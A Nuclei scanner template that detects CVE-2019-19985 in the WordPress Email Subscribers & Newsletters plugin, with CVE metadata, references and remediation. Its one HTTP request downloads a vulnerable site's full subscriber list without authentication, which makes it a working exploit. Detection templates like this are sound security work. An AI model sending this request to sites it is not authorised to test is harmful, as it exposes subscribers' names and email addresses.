id: CVE-2019-19985

info:
  name: WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval
  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
  description: WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Update to the latest version of WordPress Email Subscribers & Newsletters plugin (4.2.3) or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/48698
    - https://wpvulndb.com/vulnerabilities/9946
    - https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/
    - http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19985
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-19985
    cwe-id: CWE-862
    epss-score: 0.79595
    epss-percentile: 0.99111
    cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: icegram
    product: email_subscribers_\&_newsletters
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,edb,packetstorm,icegram,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Name
          - Email
          - Status
          - Created On
        condition: and

      - type: word
        part: header
        words:
          - "Content-Disposition: attachment; filename=all-contacts.csv;"

      - type: status
        status:
          - 200
# digest: 490a004630440220221450437acd94f4f623a1835b241328f50f252922a6d46537d016de8d01a48102204a1ad6010a5cdf3b9fa0297ca91d0d9ae1a1d2cd59b1daf75d1567c1923f03e8:922c64590222798bb761d5b6d8e72950